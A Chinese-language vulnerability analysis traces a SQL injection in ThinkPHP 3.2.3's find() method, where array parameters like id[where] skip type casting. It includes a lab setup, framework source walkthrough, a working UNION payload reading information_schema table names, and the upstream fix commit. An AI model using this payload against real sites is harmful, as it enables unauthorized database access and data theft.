前言
Thinkphp3中特有的字母函数
https://www.cnblogs.com/kenshinobiy/p/9165662.html
M实例化一个没有模型文件的Model,实例化参数是数据库的表名。
I表示Input,主要用于更加方便和安全的获取系统输入变量。
环境搭建
使用composer
一键下载
composer create-project topthink/thinkphp=3.2.3 tp3.2.3
编写controller
Application/Home/Controller/SearchController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class SearchController extends Controller
{
public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
}
配置数据库信息
Application/Home/Conf/config.php
<?php
return array(
//'配置项'=>'配置值'
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'thinkphp', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
);
创建数据库
CREATE TABLE `thinkphp`.`users` (
`id` int NOT NULL,
`username` varchar(255) NULL,
`password` varchar(255) NULL,
PRIMARY KEY (`id`)
);
INSERT INTO `users` (`id`, `username`, `password`) VALUES (1, 'user1', 'password1');
INSERT INTO `users` (`id`, `username`, `password`) VALUES (2, 'user2', 'password2');
INSERT INTO `users` (`id`, `username`, `password`) VALUES (3, 'user3', 'password3');
INSERT INTO `users` (`id`, `username`, `password`) VALUES (4, 'user4', 'password4');
INSERT INTO `users` (`id`, `username`, `password`) VALUES (5, 'user5', 'password5');
普通传参调试分析
访问
http://localhost/Home/search?id=1'
跟进find函数
这里的options参数是通过I()
函数传入的
首先判断options是否是数字或者字符
$options="1'"
如果是那就将其对应的键值和参数值传入$options['where']
中
$options[where] = {id => "1'"}
$options参数是Model.class.php中的一个数组,主要存放各种条件参数,如$options['where'],$options['limit']等
public function find($options = array())
{
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options; //getPk()获取主键名称
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) {
$count++;
}
}
if (count($pk) == $count) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
// 判断查询缓存
if (isset($options['cache'])) {
$cache = $options['cache'];
$key = is_string($cache['key']) ? $cache['key'] : md5(serialize($options));
$data = S($key, '', $cache);
if (false !== $data) {
$this->data = $data;
return $data;
}
}
$resultSet = $this->db->select($options);
if (false === $resultSet) {
return false;
}
if (empty($resultSet)) {
// 查询结果为空
return null;
}
if (is_string($resultSet)) {
return $resultSet;
}
// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data, $options);
if (!empty($this->options['result'])) {
return $this->returnResult($data, $this->options['result']);
}
$this->data = $data;
if (isset($cache)) {
S($key, $data, $cache);
}
return $this->data;
}
接下来跟进_parseOptions()函数,显然这是处理$options中参数的函数。
其中有一段字段类型验证,当$options['where']
是数组时,会走到_parseType()函数。
/**
* 分析表达式
* @access protected
* @param array $options 表达式参数
* @return array
*/
protected function _parseOptions($options = array())
{
if (is_array($options)) {
$options = array_merge($this->options, $options);
}
if (!isset($options['table'])) {
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}
// 数据表别名
if (!empty($options['alias'])) {
$options['table'] .= ' ' . $options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key => $val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}
跟进_parseType()函数,获取到数据库中id为int型,所以会将传入参数进行intval()。
这里会将我们传入的1'
转化为1
,所以无法注入。
protected function _parseType(&$data, $key)
{
if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
$fieldType = strtolower($this->fields['_type'][$key]);
if (false !== strpos($fieldType, 'enum')) {
// 支持ENUM类型优先检测
} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
$data[$key] = intval($data[$key]);
} elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
$data[$key] = floatval($data[$key]);
} elseif (false !== strpos($fieldType, 'bool')) {
$data[$key] = (bool) $data[$key];
}
}
}
漏洞触发点
使用数组形式传入参数
http://localhost/index.php/Home/Search/index?id[where]=1'
这里会跳过对$options['where']的赋值,而直接使用我们传入的参数。
因为$options['where']不再是数组,所以也能跳过字段类型验证。
可以看到最终生成的sql语句成功保留了引号
页面报错信息
利用类似方法还可以使用id[table]
,id[alias]
等。
payload
id[where]=FALSE union select 1,2,TABLE_NAME from information_schema.tables where table_schema=database()--+
漏洞修复
https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04
将$options和$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。
参考
https://y4er.com/posts/thinkphp3-vuln